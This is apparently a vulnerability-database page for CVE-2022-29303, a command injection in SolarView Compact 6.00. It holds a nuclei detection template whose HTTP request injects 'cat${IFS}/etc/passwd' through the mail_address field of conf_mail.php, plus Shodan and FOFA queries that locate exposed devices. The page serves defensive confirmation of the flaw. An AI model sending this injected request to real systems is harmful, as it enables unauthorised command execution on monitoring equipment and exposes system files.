HexBrain

Browse / CVEs / CVE-2022-29303

CVE-2022-29303· contec / sv-cpt-mc310 firmware· CWE-78

SolarView Compact 6.00 - OS Command Injection

Exploited in the wild. Listed by CISA on 2023-07-13; known to be used by ransomware.

criticalseverity
9.8CVSS score
98%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the system.

Fix

Apply the latest patch or update provided by the vendor to fix the OS command injection vulnerability in SolarView Compact 6.00.

How to confirm it

Send: @timeout: 25s
Positive when: matches /root:.*:0:0/ AND contains "p1_network_mail.cgi"

Run it with nuclei: nuclei -id CVE-2022-29303 -u <target>

The full check
id: CVE-2022-29303

info:
  name: SolarView Compact 6.00 - OS Command Injection
  author: badboycxcc
  severity: critical
  description: |
    SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the OS command injection vulnerability in SolarView Compact 6.00.
  reference:
    - https://www.exploit-db.com/exploits/50940
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303
    - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing
    - http://packetstormsecurity.com/files/167183/SolarView-Compact-6.0-Command-Injection.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29303
    cwe-id: CWE-78
    epss-score: 0.98039
    epss-percentile: 0.99909
    cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: sv-cpt-mc310_firmware
    shodan-query:
      - http.html:"SolarView Compact"
      - http.html:"solarview compact"
    fofa-query: body="solarview compact"
  tags: cve,cve2022,injection,solarview,edb,packetstorm,rce,kev,contec,vkev,vuln
variables:
  cmd: "cat${IFS}/etc/passwd"

http:
  - raw:
      - |
        @timeout: 25s
        POST /conf_mail.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: word
        part: body
        words:
          - "p1_network_mail.cgi"

References

Use this check only on systems you are authorised to test. Where the data comes from